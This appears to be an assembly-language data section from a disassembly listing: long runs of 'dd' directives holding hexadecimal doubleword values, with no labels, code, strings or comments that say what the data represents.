		dd 0E71709ACh, 0B18B08B8h, 6350DCD6h, 77BA00D7h, 0B2D9A4AEh
		dd 6F3E14BCh, 89AD5E9Dh, 0BF7ABF4Fh, 0FCB48D09h, 56961F71h
		dd 63B2B5A8h, 60874F57h, 0C0B323DCh, 8A0FA90Bh,	11755108h
		dd 5F511202h, 239E6BAAh, 955D8119h, 211BF246h, 4A18696Fh
		dd 8BBB57C0h, 587D2D5Fh, 0F770E354h, 0DA6804D7h, 0B8D8E92Dh
		dd 16E4E4Fh, 84B5921Ch,	0FBC18B0Dh, 0AA30626Eh,	6AF1AB90h
		dd 91B67E4Ah, 26301DB2h, 7E890019h, 461F3091h, 10B571A4h
		dd 1E80F606h, 4058D8ABh, 0B8403E7Eh, 0FB97ACCBh, 0F50052Ah
		dd 0B3D92182h, 0FE952A77h, 0A9FC52EEh, 2613BC45h, 67E47B1h
		dd 4882EF80h, 0A5459D90h, 0AB678000h, 92B797DDh, 40A4D18Bh
		dd 0EAB07B34h, 0AE5225BBh, 0B755A2C2h, 67D427A3h, 0DE8AFBE1h
		dd 0D927082Fh, 7FAC1CA6h, 79FE5906h, 5B3BB210h,	2266210Ch
		dd 25B86EF6h, 408CBFC2h, 2A6C0F5Ch, 4FDD0CEFh, 0E544D1FFh
		dd 25BF3344h, 0F065BE20h, 39C4AB10h, 73B92503h,	0D20235B8h
		dd 0CE661514h, 0BBD681B1h, 0F08B4654h, 98DF61D7h, 0ACDC9Dh
		dd 34C35560h, 2FE4FB4Bh, 438B540Bh, 203CA1Dh, 0F1505F99h
		dd 5B5184E6h, 0E13DE690h, 0BFD06CE5h, 0B510EB8h, 4477099Dh
		dd 0AADEB7EDh, 0BDA4C3A6h, 0E8B9812Dh, 28C423CCh, 0E9CF175Ch
		dd 2338AB5Ah, 2EAB4171h, 0E661E820h, 12D00140h,	0B9BD032Bh
		dd 2F8A6A09h, 3DDC8CE0h, 221FFD20h, 73FD1EB1h, 31B800BCh
		dd 5002AE0Dh, 65EF0975h, 99D7F6CEh, 0E83B5F67h,	0C03B58E2h
		dd 881A20FCh, 52C0030h,	6B584D48h, 290525ABh, 7775915h
		dd 0C28B59D1h, 0FC904074h, 9D6D7B95h, 0D84B9759h, 4EE22F3Eh
		dd 6441B27Fh, 0D1F90075h
		dd 0D969C902h, 5B01778Dh, 7336FE76h, 2A2C522Ch,	0DA02380h
		dd 3F0069A7h, 8DDDA6CDh, 0DFB3433h, 5B73BB1Fh, 56DA3FD0h
		dd 0B3C01CC8h, 29134D1h, 0CDFE2F2Eh, 0DBD56AEFh, 0DD287081h
		dd 0D772F02h, 0C0DABF0Fh, 9D08BDDDh, 9FDECF54h,	0E3028879h
		dd 75194C50h, 228B7973h, 0AC2AD301h, 71522F6Dh,	100FB04Dh
		dd 81000A15h, 1F9EC4CBh, 7005E637h, 319B529h, 0F664DCEAh
		dd 0C4BB4DC0h, 9720B352h, 0C0D6330Eh, 5F79AD75h, 8D341897h
		dd 602B40F9h, 2D9D2909h, 0ECC5DA0Eh, 61618124h,	8414C98h
		dd 1F9A38h, 5DF68A2Bh, 1FC06CCh, 6CE9C0F3h, 2E6B9F14h
		dd 54044513h, 0FD13025Dh, 27BD3D67h, 842ED71Ah,	251C29E4h
		dd 3DA09CBFh, 3BBB0D40h, 5F8C2220h, 332183E9h, 0C431BD2Fh
		dd 9A4C71A8h, 0FABF255Dh, 441242C3h, 42E2270Dh,	6FB24Ah
		dd 7F9C5F1Eh, 27349FFh,	9793F4A9h, 73D5E945h, 34BB0162h
		dd 0F9617CF2h, 27212E44h, 0CB2A060Dh, 208511B0h, 0BC6A29CAh
		dd 0FA41B9D2h, 0F887A2DEh, 0C04B5C61h, 8ACDDDBFh, 6F044E41h
		dd 48AD64D4h, 252BCD84h, 0B0A805BDh, 908CC009h,	95020267h
		dd 83E95465h, 6A61C78Bh, 2E81B910h, 3557FC27h, 3A171462h
		dd 3A7B4F83h, 198D6A15h, 61646297h, 22B90123h, 0E86D2910h
		dd 0A82503C8h, 800F8C30h, 8E0453FCh, 7C87BF89h,	8111D719h
		dd 0C09D5BFCh, 0F7784DE8h, 0FCF527ADh, 107086D3h, 0BFD500ADh
		dd 1420F6D7h, 3795C02Bh, 0B70C280Ah, 0B40B3F7Ah, 6DD22BEAh
		dd 9B5CC06Fh, 0D4FE70C2h, 72AD4713h, 23B17FABh,	0C57F1C18h
		dd 0D1C9AF78h, 7D2C41A0h, 130B840h, 0DC748509h,	2F56B805h
		dd 0B55E581h, 1C29E66Eh, 2F801FE5h, 0AE0F928Fh,	411D00ECh
		dd 82531856h, 0FC0C2211h, 92613ECFh, 49363ADBh,	0A28FF300h
		dd 880D7941h, 66FECFB7h, 0C7255845h, 0FD93E371h, 0D800B38Ah
		dd 0AE9993F6h, 6A753016h, 0CB5E3702h, 0D35B97DAh, 18195926h
		dd 0F15A9725h, 15822A4Eh, 0C2F60924h, 4ADA6625h, 0BBDEA8FCh
		dd 70041623h, 0FB92BE21h, 63BD7726h, 1EA4B501h,	0F8441263h
		dd 12768ABDh, 0AB20C18Dh, 0E1BF0138h, 0A035B73Ah, 97B8DC31h
		dd 14C058CFh, 3F4DDDE6h, 378BBD9Bh, 0AB78C183h,	56FBBA95h
		dd 251FD436h, 0E641128Bh, 0D70167CDh, 80FDB82Bh, 0AD4BB669h
		dd 79E202AEh, 3DEF5D2Bh, 7F89895Ch, 0E5645FA2h,	0E156D3B0h
		dd 0E2AFB572h, 960493D5h, 38AF1C2Dh, 44E5320h, 37E89AB9h
		dd 0FB219497h, 8D095382h, 9CD525D1h, 0F5FC44C8h, 0F85A6071h
		dd 0B5A988h, 0E426406Ch, 617ED9A8h, 0B871E500h,	38B64462h
		dd 0E6C8F3BFh, 3EA42540h, 375516E2h, 0FA691353h, 97CD92C8h
		dd 0D6263788h, 63C40300h, 4C4F9870h, 8351BF4Eh,	0B3FE8B82h
		dd 883F5EFDh, 442F0144h, 0F8DA078Bh, 47F571Ch, 7F9DE14Bh
		dd 0E60BC99h, 0AC244E8Dh, 25E7B0E8h, 285054C7h,	0BD40215h
		dd 0C44A2EF2h, 3C90BBE6h, 801E3F39h, 0C364B19Eh, 4A937735h
		dd 0CB65FC08h, 955AFA3Dh, 0AF800B37h, 6071BDD6h, 0F68826E0h
		dd 1AB1090Eh, 3F091CD5h, 5E2746BFh, 513530D4h, 0F0B556BAh
		dd 10B5609Fh, 0B29334h,	183F79Eh, 0EEBA665Eh, 4861462Fh
		dd 0C9F88BA1h, 0C3565F0Dh, 0F5FA56ECh, 0ECB8A57Dh, 1F510E17h
		dd 63EB6504h, 449DD3ADh, 0C4697AD5h, 0F6A7AF8Ah, 6CD8FAB4h
		dd 0A02A4BDEh, 3023B9Dh, 0D4E9687Dh, 0F4DA5601h, 89FD2F09h
		dd 0D1C2FD7Ah, 0BF55348Bh, 10FD2D2Bh, 0B0F1C2D2h, 0D83909B7h
		dd 0A57973DBh, 0D59D0382h, 0EC805E16h, 0B128830h, 0DAAA430Fh
		dd 93E69327h, 0C9BC9D01h, 0FC337D53h, 65F39589h, 2E06D946h
		dd 0B4B24313h, 0D48C4402h, 0B55D8220h, 8B15910Ch, 0B3835F3Eh
		dd 71162B11h, 0EFA0446h, 0F98B57BEh, 19E21963h,	1893182Bh
		dd 0F4F900D2h, 0D422B9A3h, 0DE3E82EEh, 39EB0E7Eh, 38053F69h
		dd 0E9B9628h, 0B545BBC0h, 1F053FABh, 0C2218C9Fh, 7DDE40C2h
		dd 0C1AC7C79h, 68CADF00h, 4CFD0DD7h, 4C0CE40h, 0F642E7D1h
		dd 0B100E570h, 0DAE44856h, 2DFBC84Ah, 0E8580D43h, 0E20E2809h
		dd 41477440h, 0E018DC39h, 2576B494h, 798D442Dh,	290C996Bh
		dd 90F6DCA6h, 0D5E2100h, 25F34F05h, 52B309E1h, 1B765350h
		dd 49D92D60h, 0F19D0FC5h, 0A4805632h, 66B65EE4h, 735F612Fh
		dd 0A72AD8CFh, 123F0C2Fh, 0DCFC5508h, 84D15D72h, 61B65F93h
		dd 6B21BF05h, 0C02B9B61h, 41976F6Eh, 6C4E0C08h,	30EC8BF3h
		dd 7E739Fh, 70A98751h, 0F1BDD82Eh, 0BAA282Dh, 3D94AE8h
		dd 0BB74E555h, 8B759DAFh, 0CF67753Ch, 3E0E37A5h, 0E97E9180h
		dd 0AA44A6C2h, 2DEFE798h, 0E7F52575h, 709F5CD6h, 135D2C9Dh
		dd 252A61B6h, 9F282F61h, 0A73BE9B1h, 5077A1BAh,	405D1D30h
		dd 0C9A55F03h, 0C055809Ah, 9525E506h, 0BF043DE5h, 0E3FAA30Dh
		dd 0BE8921E3h, 0E50E6110h, 79A1C7E6h, 2BC82E89h, 4ADDEC29h
		dd 6218F70Ah, 2B3DD4h, 38FCBB50h, 0D7703E25h, 0FC00FBBDh
		dd 0ED572A5Fh, 586BF29Ah, 0C2029075h, 12EC0D37h, 61F9F160h
		dd 95BD0312h, 0A39458B2h, 0EA1C6914h, 0AB9C382h, 0FF0732D7h
		dd 38405BF9h, 27EC58h, 723295A1h, 5D9082A0h, 0A8B8762Ah
		dd 69EC6F97h, 97A7CE55h, 0FA05A01Ah, 4DE5625h, 0AE236131h
		dd 6CB8E075h, 0F7B28283h, 504231F8h, 39863500h,	0D3A9B8BEh
		dd 0B71ABF92h, 0D8246F5Bh, 0FB78C160h, 0AB0C0493h, 0BCF56A74h
		dd 22BF0281h, 553D3AA6h, 536B4759h, 12D95099h, 0CE4BA09h
		dd 0ED35D5FCh, 0A9891591h, 23024B78h, 0F847C441h, 783B736Ah
		dd 409D1A70h, 9F34C5ECh, 3A61AA91h, 8481CB2Ah, 0AF32304Eh
		dd 89C53052h, 1C489DB5h, 0B32D5296h, 9CA37C56h,	66614160h
		dd 280210BBh, 0DF1507Ah, 0A8185D8Ah, 3093FFFh, 0FF3D80D8h
		dd 8C96AA05h, 39B8B6E5h, 29D9CD00h, 704A52D1h, 855D0399h
		dd 28B97940h, 7EBFE44Eh, 6EC55514h, 6BA902B9h, 0B95BC4F7h
		dd 87C01742h, 2E8788h, 76262263h, 9FD631D3h, 4F4E3D01h
		dd 0E305A9A2h, 0B87AC6E9h, 1EBFF580h, 504AE003h, 7480D0ACh
		dd 0C52E477Fh, 80C97C3Dh, 1BBA73C4h, 48073B02h,	3F2686B5h
		dd 0FEE2B261h, 50F5C5D5h, 9025A885h, 0B7A0E663h, 2031F082h
		dd 3C9CF504h, 898B5E0Fh, 3ED3D9B1h, 0F5EF58C2h,	56BD4B6Ch
		dd 3D77A6Fh, 5A0C891Eh,	0E55826Fh, 9A49DD2Bh, 73DDC661h
		dd 4AFC52E5h, 0D81DADC0h, 0ACE5168Ah, 0EEC8AA3Bh, 0BC26D7C6h
		dd 46E2D2C0h, 6B25BFC0h, 2BB875AEh, 0F6FFF225h,	1E12DE5Bh
		dd 0A9B8BF0Fh, 628B8869h, 22ECBA54h, 49073DEh, 131F0A3Ah
		dd 3D9F8C50h, 80B779BFh, 0CD379E72h, 8504C2AEh,	90456E7Fh
		dd 0F064A6BAh, 177AFA6h, 0E6CE558Dh, 4248B8A7h,	0DBD13DC8h
		dd 0ADB53102h, 705C811Ah, 0B92ADDBBh, 0BFB827h,	4CEF26CDh
		dd 9081146Eh, 0FE8B8212h, 926A06F1h, 15C20968h,	814081F6h
		dd 359E98EBh, 0EEA00FC8h, 0F6BE7D24h, 0FD92E1B4h, 0C08DA87Bh
		dd 0CAD2339h, 0D7FE9703h, 4D1386A6h, 23AD2852h,	290F3DC4h
		dd 82E09B3Eh, 437C8EF3h, 572B8A10h, 0CDF53F1Ah,	897860C7h
		dd 381650AFh, 0D9F81D09h, 8852E2D2h, 5539762h, 0FAFD8A75h
		dd 440DBEA0h, 0D99E5730h, 45837AFh, 0BEBC068Ch,	3AE83102h
		dd 1CB7DD39h, 2E821711h, 4460D76Fh, 67E8F4F2h, 0BD2E912h
		dd 7AC409F2h, 0F88A05BBh, 703CCCh, 13E31FB3h, 87B5C906h
		dd 0FEB6549Dh, 9940E500h, 0DDEA9F4Dh, 31951769h, 0ACEC1685h
		dd 38B0D0D7h, 28AB5B45h
		dd 0F308DBC1h, 0EF62C409h, 26F18542h, 829F233Dh, 0E45EA57h
		dd 6A7502F7h, 0FEB75DFFh, 0F5D4AE04h, 2CA320AEh, 0E105663Eh
		dd 8176B48Fh, 794104BEh, 61DEEF1Ah, 0B05F2280h,	0BE90F96Fh
		dd 582556B5h, 0AC1EE780h, 35075DBBh, 5E09B056h,	0F59B4066h
		dd 0BA02E289h, 69A8D454h, 4B0568Ah, 0E870E65Fh,	2F4F8015h
		dd 4BA19CC9h, 3FE1FCFCh, 1A1EA39Dh, 0F35D2DDDh,	0CF191545h
		dd 81C6C04Ah, 720AE8EFh, 14BA6CC2h, 92A6D42h, 0E6BB0A80h
		dd 654EAB5Ch, 0DE3848AAh, 69950A7h, 0C82B1E1Fh,	61E8B260h
		dd 0A1ADFA97h, 51139766h, 1B9D5A12h, 0D585B592h, 0D949DC07h
		dd 6490FF6h, 95271932h,	8F59D86h, 72FA9AC9h, 0F72B5E88h
		dd 60FF5ED3h, 0F5508259h, 0F2A5B000h, 9E853B38h, 6CEC6720h
		dd 0E9875C51h, 241476Bh, 5C1AD92Fh, 9589EFA3h, 0F9922576h
		dd 938A4E1h, 918529C1h,	0E6CA2A1Dh, 0AA96405Ch,	107E80CDh
		dd 0C627E78h, 94550675h, 3BEF20EEh, 0D2F5F92Dh,	0FCEB2FF4h
		dd 0BC1AB54h, 882A4D9Dh, 0C109F77Dh, 6396B93Fh,	0FCB20780h
		dd 495BF850h, 20442E98h, 523523Ch, 0D1492DC6h, 23A16AFEh
		dd 2F7F001Ah, 288F2539h, 79D80862h, 0FEE80514h,	95C2CDCEh
		dd 0D0A51991h, 0B4A12BAh, 2E76C1A4h, 0DBAA2517h, 6EE64123h
		dd 17AE9794h, 8FAA90h, 0D8B319CBh, 2B7DF9DAh, 0D24C7D98h
		dd 0FC1AC520h, 3780176Ch, 399FEA38h, 290B68C0h,	33411DBDh
		dd 56DBA742h, 313F5687h, 0DB1A2F9Dh, 7E55D2BBh,	5C4525E5h
		dd 0CF10622Dh, 0D65240E5h, 9102323Ah, 7F2F957Ch, 19E782E8h
		dd 88D1D727h, 13571080h, 27E4FDAh, 0F6CFC41Fh, 514DEBB7h
		dd 75601664h, 53BDCF6Dh, 682527D6h, 0A1E2AE61h,	0EBD43500h
		dd 8F0A23E5h, 0E1FFFC14h, 2E1112ADh, 0BA8C1EB3h, 9400BB8Dh
		dd 2973DB20h, 9709FD8Dh, 11CF3DF9h, 9509F340h, 74450D9Eh
		dd 40E1F320h, 37BD600Bh, 8C310020h, 5E9E7BB3h, 46236C27h
		dd 52501648h, 2542AA5Bh, 6A85BD2Bh, 2D0454C2h, 75CB734Dh
		dd 0ECD6DF62h, 27D15749h, 84BBC712h, 3406A912h,	0EAB27F4h
		dd 2F105DB9h, 55469A61h, 2D9D2330h, 6CC14E3h, 0B6AE0079h
		dd 0E05C2BF2h, 0DB00D8F4h, 663103A6h, 75C19AA2h, 0CD794F46h
		dd 0DBEC2E71h, 0C2E11DF8h, 49795D12h, 0AB0AD785h, 6A9F09EEh
		dd 8139A8BDh, 0E04623C1h, 907FB23Eh, 0A524861Ah, 0DAC1985Fh
		dd 67C9DF79h, 92E9DB3Bh, 4A00E4AEh, 0E6651713h,	40AEF1C5h
		dd 9706B99Dh, 614F56FEh, 873E8AF6h, 53DFE8C5h, 3DC7BE16h
		dd 7E21D8EAh, 269D0988h, 42991BB1h, 0F3572BDDh,	33FCA5F0h
		dd 95FEF0CCh, 0DA098C19h, 9771785Dh, 49D40AFCh,	27804E1Bh
		dd 3DF44354h, 0C93F0505h, 0AE90689h, 0CE04DBB8h, 2B43C9CCh
		dd 6A23F5ABh, 4BF9D2A0h, 2573FF0Ch, 31F4EF29h, 0FE938BA8h
		dd 6E26B799h, 3A383FB1h, 5A87ECE8h, 79908226h, 66FE3055h
		dd 7A4A03BFh, 22AA1068h, 799FBBB0h, 406AA225h, 7CA9EF58h
		dd 0FEB79D3Dh, 457CF88h, 0A83ECBE7h, 79F8CB6Dh,	0FE8B86E9h
		dd 0FD169090h, 3EA85025h, 0EAA558C0h, 5E07098Bh, 86C438E5h
		dd 37FA6E84h, 0DF98D90Bh, 3500BC09h, 499BB94Ah,	76ED25A7h
		dd 3E760930h, 426D9061h, 5DE8BC0h, 277E9312h, 1E7F8D92h
		dd 232E6BBh, 5203D9C7h,	515F6134h, 0ACDA9266h, 119AF438h
		dd 0E12F17C0h, 0DC173476h, 38FE66C5h, 7B9552D8h, 0B5B0D88Ch
		dd 0C02E2816h, 0F10604AFh, 41E90702h, 45F2EF0Bh, 937F0D9h
		dd 0E30ABE64h, 9AFFD4C5h, 275CF9BFh, 5A92E0F0h,	0FA9D81AAh
		dd 79735Bh, 448E6B8Dh, 0E6999F52h, 8AC12DC2h, 44B71455h
		dd 0E7EA5380h, 8E8BF94Ah, 0F6BF6E22h, 5AB7DCDFh, 95187185h
		dd 91C23DF6h, 0E6B7FF20h, 12811491h, 6F8D9D03h,	5A91D988h
		dd 9209A202h, 0DABF1413h, 61D893B2h, 1F7D16C7h,	995E6496h
		dd 8BEADB27h, 1231C655h, 9B96E8BEh, 0FE9F8076h,	447E9BDh
		dd 0E402BAE8h, 42F214h,	7115B111h, 5609B948h, 0BC4BB28Ch
		dd 0B152807Bh, 975A310h, 32E67330h, 1277C65Dh, 0E2C9114Bh
		dd 3733007Dh, 51640F48h, 1D910B15h, 665F0E14h, 342AE3CAh
		dd 0C9F201EDh, 542B5F2Ah, 81E7AABAh, 0C90EBA5h,	0DC0109BDh
		dd 0D1B9C261h, 59DD2D73h, 0F3DBBB31h, 0E3257A39h, 3AB57F9Dh
		dd 0EA601A16h, 4B322FEh, 0CFDC3631h, 0D8AA60h, 821D79B5h
		dd 4B34C6FFh, 0F1E83561h, 0AB4C44ECh, 0ED7CA6B1h, 80639B4Ah
		dd 2F1E385Fh, 3435096Eh, 11590615h, 7FA771ACh, 685A129Bh
		dd 30D64402h, 209DF48Ah, 26E125AAh, 0FB16DE65h,	0A26054CDh
		dd 30964DFCh, 23AF503Ah, 8848F9D6h, 0FCF1B705h,	87409EF6h
		dd 0B7EB90BDh, 0BBD651FEh, 76790085h, 0D2C78BCh, 3B16FB09h
		dd 4F3B51CBh, 0EFC2FF94h, 5FCBC349h, 39BBBC06h,	96115043h
		dd 0B2FD257Dh, 55985D67h, 81319D29h, 42B35E0Ah,	0C8BB9A2Ah
		dd 32CFC018h, 36247ED4h, 7D6BDB60h, 313004Ch, 8149F5BDh
		dd 0ED6FD561h, 84FD5FE2h, 0AC57198Eh, 0CAB8042h, 248DDC3h
		dd 0D611EE35h, 3A2005E9h, 5F6653DCh, 471F62Ch, 0BAC78057h
		dd 54D62CAAh, 7BFFC2E1h, 0B3A97073h, 0FFC5804Ah, 24F85F3h
		dd 0C643823Fh, 401AEF75h, 8E7C9491h, 0D969712h,	51DE5909h
		dd 0F2E96281h, 7E3B89FFh, 694EDCF8h, 0B3C9A9F8h, 9DC9A6E3h
		dd 0CA72579h, 3D0038C0h, 831B8121h, 0C17FFFC5h,	8B5ECB98h
		dd 71B47A8Dh, 1FC61281h, 68E54E74h, 58C3CA16h, 318D10A1h
		dd 26105F25h, 5A047F51h, 0E3E1F264h, 0B2E8AFh, 7B759478h
		dd 5CA2C8h, 3E148BC9h, 0F28112B0h, 10964E00h, 7BCFBB2Eh
		dd 166A60B7h, 6C8A1477h, 0EA41A3DEh, 16AC5C62h,	0C6AE9FCh
		dd 5276C556h, 8F17C820h, 0BF0F3E04h, 1614C017h,	99519529h
		dd 50EF01E0h, 0D877975Ch, 653162D8h, 4CC718C8h,	0F8DE8B11h
		dd 64B0A0FFh, 16BC3AE9h, 90DDF88Bh, 34BB85Ch, 80BAA35Fh
		dd 95EBC2D9h, 31003072h, 0E075D33Ah, 156357h, 4DF05C5Bh
		dd 55C02F10h, 0D47A2300h, 0F96BD666h, 0E6061F9Dh, 0B8288Ch
		dd 0DE5B542Ah, 391C3656h, 0BFC9AF03h, 3019B7E2h, 68215C08h
		dd 86001C2Eh, 6B1676F7h, 0E95AEB01h, 30C08E0h, 1A9721E6h
		dd 0B298A364h, 0BC002EADh, 5436DE56h, 9548AEh, 5D3F47BBh
		dd 45E401FBh, 0E9E54406h, 1C605BAFh, 0FCFA3436h, 0A3A3FF6h
		dd 3BD75C0Ch, 99F4F540h, 51D2BD79h, 3480701Eh, 584A5AD2h
		dd 82266DAh, 901C2142h,	14FFF531h, 685A277h, 0AC6AA8A1h
		dd 36D1C098h, 0F8D9AB8Ah, 18476630h, 7B1BCE57h,	5F500043h
		dd 0C82B4411h, 0E0FCE326h, 36E94D41h, 46F72888h, 40F66500h
		dd 99896Fh, 0EF7B973Fh,	5ECCDE11h, 0A4481316h, 0F900E6B8h
		dd 4A1C3A2Ch, 0AC1C8B90h, 0B25F3FE3h, 69960700h, 11DFF7h
		dd 16B5288Eh, 5BFC3CA1h, 0F08CA900h, 98F2CFCAh,	1FFA0EF9h
		dd 31239CEEh, 67E02458h, 827F3E4Fh, 6DEA4D00h, 7B20CA5Bh
		dd 0F6F0F57h, 4E60A6EEh, 0E6421D27h, 80EBFCE9h,	0D2897C00h
		dd 0F6EE1B69h, 8636661h, 0AB0021FBh, 88B98974h,	16097D2h
		dd 59E74A6Ch, 0DED375EAh, 0DC99E641h, 5600AEBEh, 0CCE889ABh
		dd 600E6460h, 4EE428EFh, 18C68F8Bh, 0C58BC37h, 0FB5A15EEh
		dd 7E10A020h, 2A068247h, 18F93664h, 9CE081C0h, 0C08D037Eh
		dd 0C5967C59h, 0CDF9EA5Eh, 0C119813Fh, 0EEB277E0h, 0B3800D3h
		dd 631DD8B8h, 0C933C3A7h, 1C0968h, 0D8B0AB21h, 78A1480Ah
		dd 1999DC1Fh, 0E860F7C0h
		dd 1E692BAh, 6B2C2437h,	0B1CA4BD3h, 90137060h, 80236600h
		dd 630AB900h, 4261A78Eh, 81A90011h, 2B04CF1Ah, 3D3B8F5Ah
		dd 4B0600EEh, 76C42C47h, 3C543843h, 0CEA67700h,	8AF3ECC8h
		dd 481FB000h, 0ED0F2BB8h, 22230E11h, 5B63DEDFh,	17C09965h
		dd 757F933Ch, 0EB306860h, 30F20DF3h, 0CB104FC1h, 0C81E5414h
		dd 0C3DB5BF1h, 0C8AEE320h, 7BD4BEh, 9841B7Ch, 3572B5F1h
		dd 2FA51D0Fh, 4CDDDDE3h, 6DB4A983h, 2813981Bh, 2C680088h
		dd 385358B1h, 0F71E1C1Fh, 6640E79Dh, 3F2F95EFh,	6810C081h
		dd 0BCC1FBCAh, 0D96AA102h, 0C0791966h, 6DEB17h,	0D7C97A30h
		dd 1F49A877h, 0CA6BE200h, 4C9AA18Bh, 0E95006DAh, 30BCD576h
		dd 53030D1Dh, 0CB543F00h, 0E279760h, 0B4FF6C8Dh, 0BA9561E3h
		dd 0A9D42800h, 0D98B1B74h, 11650A72h, 90E8ECh, 7A601EE3h
		dd 730068A8h, 7B2F7CD1h, 43C5A5h, 0EB6A318Eh, 0C6ED82Bh
		dd 495B770Fh, 0C2F9C092h, 79F2A3h, 308916A8h, 3778CA19h
		dd 8193BD0Eh, 0CBEFBCh,	8D1E078Fh, 0F8B08Ch, 0F68503C7h
		dd 0E94F52EDh, 0DEDA8300h, 185D731Bh, 814B0120h, 57223180h
		dd 0BC3E402h, 0AC94C200h, 373671E4h, 3F50C081h,	1F5820CFh
		dd 2BDDF900h, 1A1CA405h, 7D06006Ch, 96903594h, 81084C67h
		dd 810A5C78h, 6E79F57Ch, 13EBE763h, 0A7F6F918h,	19A6F08h
		dd 57AE808Ch, 8008DCBEh, 1D4C0B21h, 7FFA172h, 0E5F791ACh
		dd 0A41B3036h, 0F005DAF3h, 6FAB7A92h, 1DB58880h, 162013Dh
		dd 63E7A069h, 87E0D876h, 0B7C68900h, 34537930h,	702D008Eh
		dd 0E56B6215h, 2C00FFEAh, 2F36DCAEh, 7D05288h, 0D179F8E0h
		dd 2A9A23F6h, 84F52290h, 0FCE5040Ch, 0C0210894h, 9B82B021h
		dd 73002DE3h, 0AD02FAC6h, 0FC1B4Bh, 1A0E76AFh, 2EE5B8C4h
		dd 0F24C5500h, 0D078D17Dh, 0A2D93B67h, 56007A3Ch, 58343B71h
		dd 0D40E9A7Ch, 849B2473h, 1900D04Bh, 0F4DB3B09h, 0AC960301h
		dd 0ED916DE9h, 761AD4h,	9AB0BC78h, 2FD1AFABh, 580C5534h
		dd 5D23342Fh, 0ADCB2502h, 0B819E367h, 61A3E14Ah, 5344B8F3h
		dd 86D5D028h, 5878C703h, 0F85B19E4h, 60FBD681h,	8B7168F1h
		dd 867F65AAh, 7E7BC40Ch, 606C08E7h, 0E09120F3h,	6D0071A5h
		dd 0E493832h, 302D9D77h, 5BA9D978h, 74008D6Fh, 0FE2F590Ah
		dd 0C871C4EDh, 0E6C00E68h, 46815EA5h, 6B227Ch, 54AA9FBCh
		dd 4630D202h, 0D81C83E0h, 9C28FD9Eh, 73B6290Ah,	0F382E468h
		dd 40E67F5Dh, 3D902408h, 97295A41h, 0AA910138h,	18F4815Fh
		dd 97F040C5h, 6CAA8E3Dh, 28871E66h, 79CE5F8h, 3B5131F6h
		dd 748BD090h, 0BA6350A7h, 7E5408h, 38592720h, 8349D2B2h
		dd 0C2FC181Eh, 8DA67C40h, 54BD81h, 7AFA822h, 0D6AE91FDh
		dd 6F552A0Ah, 5944F4D3h, 2A3B1F60h, 110C5823h, 97E70052h
		dd 1938843Bh, 13FB0094h, 5A75E27Ch, 0B4A17493h,	49D18A3h
		dd 948663AAh, 206A32C5h, 99AA8A93h, 0BCEA1C00h,	0C0FBDD23h
		dd 26AEA05h, 0A9E14553h, 0C3200F64h, 70D1D41h, 0D031838Ch
		dd 0F9942248h, 2E72B846h, 0A4F57611h, 0AC871888h, 95219B86h
		dd 0F180AED8h, 1C5A22F1h, 7D00963Ah, 2FFA5780h,	1EF28636h
		dd 5435A63Eh, 0E450A074h, 0EC78284Dh, 19A40AF4h, 80E0C4D4h
		dd 0D2773875h, 0CBE4640Dh, 807D513Bh, 2665F59Ch, 71958E07h
		dd 0B07B008Bh, 830A14E4h, 0FF00E0C7h, 0C3AF2B72h, 2A2F6D1Bh
		dd 0ECB4E852h, 0B5CD006Fh, 3D9B590Bh, 30C9CFABh, 40C1229h
		dd 149881A7h, 8A380867h, 0C8C2BBD8h, 6F11007Fh,	0C0E9A38h
		dd 782EC9h, 0CCCA88C2h,	0BFC4002Dh, 4DDE7DE0h, 89360D0h
		dd 2B3B0A01h, 0FC239458h, 3BA33080h, 0E8072DDAh, 0CA8F7540h
		dd 0BF714A0h, 0F8991215h, 9154405Bh, 85E783ADh,	4ABCE900h
		dd 0AF0A7221h, 9FD8C03Ah, 0DAE65870h, 0D69C79C0h, 0B669DFh
		dd 9041816Eh, 75E1316Ch, 7A009E72h, 0A5EFEE2Ch,	2F9A9AFh
		dd 4AE5D57Bh, 94A09C4Dh, 0E63C060Ch, 6C20A400h,	37659A01h
		dd 771B07D5h, 0C1347A78h, 0FCAFAA28h, 6667A3A1h, 64F1A058h
		dd 47D8CDD5h, 0FB1018F2h, 4554C146h, 0A45E5B1Dh, 43BDBEh
		dd 8D87B4BEh, 24358150h, 2814174Fh, 4BE5002Eh, 9B807615h
		dd 0FB30A16Fh, 997B6060h, 57D40073h, 814AEC82h,	1268132Dh
		dd 0C63DE838h, 9F3B5E02h, 0DC3153D8h, 20662411h, 5D00EAC3h
		dd 8A77D686h, 431782h, 366179DDh, 51079E33h, 9069D001h
		dd 0D19E81Eh, 51AD6030h, 8C23B49Dh, 4C3076A2h, 0BD9600CEh
		dd 666FA3CAh, 5490882Dh, 7F90948Bh, 3E50CF62h, 7178E3C4h
		dd 0CC3F4218h, 24D07B10h, 6030D8DCh, 582F3B1Eh,	49227446h
		dd 3B96E409h, 5EE40046h, 50FB35A1h, 600E9820h, 1CD6C066h
		dd 0D8C00376h, 7892B080h, 0E96023Ch, 8BE08F9Ah,	217D28C1h
		dd 1EBD30CDh, 92623000h, 0B1B2A140h, 14C2005Ah,	662C4A77h
		dd 7902E341h, 0D3655D89h, 0BC1140DEh, 0A0DF00C3h, 0FB1BA950h
		dd 80010952h, 0F0CF55C1h, 0FE70D1F4h, 34F5012Eh, 0CE6C6D61h
		dd 7140875Ch, 0C9406AD8h, 4FCA08h, 1107D510h, 0EDE9B56Dh
		dd 0F96E7000h, 0A403CB37h, 7384009Eh, 0E5BE973Fh, 947806EEh
		dd 1144E40Eh, 967D8F42h, 13E9DC03h, 0E10019Bh, 6AE5EC36h
		dd 0C9708057h, 9D0DE206h, 45273FE7h, 258063BAh,	0FBE81B2Ah
		dd 0D1A0CA0Ch, 160048D4h, 0EC5DDD49h, 0A58767h,	0DEEFD297h
		dd 0D03BB978h, 0CD5121Eh, 30E4728Ch, 0D1B1DACh,	1A2BCF11h
		dd 912A50C0h, 0E1F0CFC8h, 5FECC406h, 48A71Eh, 0D723C516h
		dd 0A0670295h, 11A3F831h, 44E224Ah, 4B8FE00Ch, 6F7C3510h
		dd 0CF973Ah, 0B7CCF415h, 124AB92h, 0CAC6AC14h, 0C4908DAEh
		dd 0BA009D35h, 47A90FF9h, 0F0C10191h, 0A8380F6Eh, 8AE0859Bh
		dd 0BE24626Ah, 0FBB18F00h, 40AD526Dh, 7F0753Dh,	697C84E6h
		dd 75EE3094h, 7800F153h, 0E55519CCh, 0FC9D82Dh,	417FD539h
		dd 0FFA25B00h, 7800D294h, 7C17015Ch, 3B227E85h,	57809379h
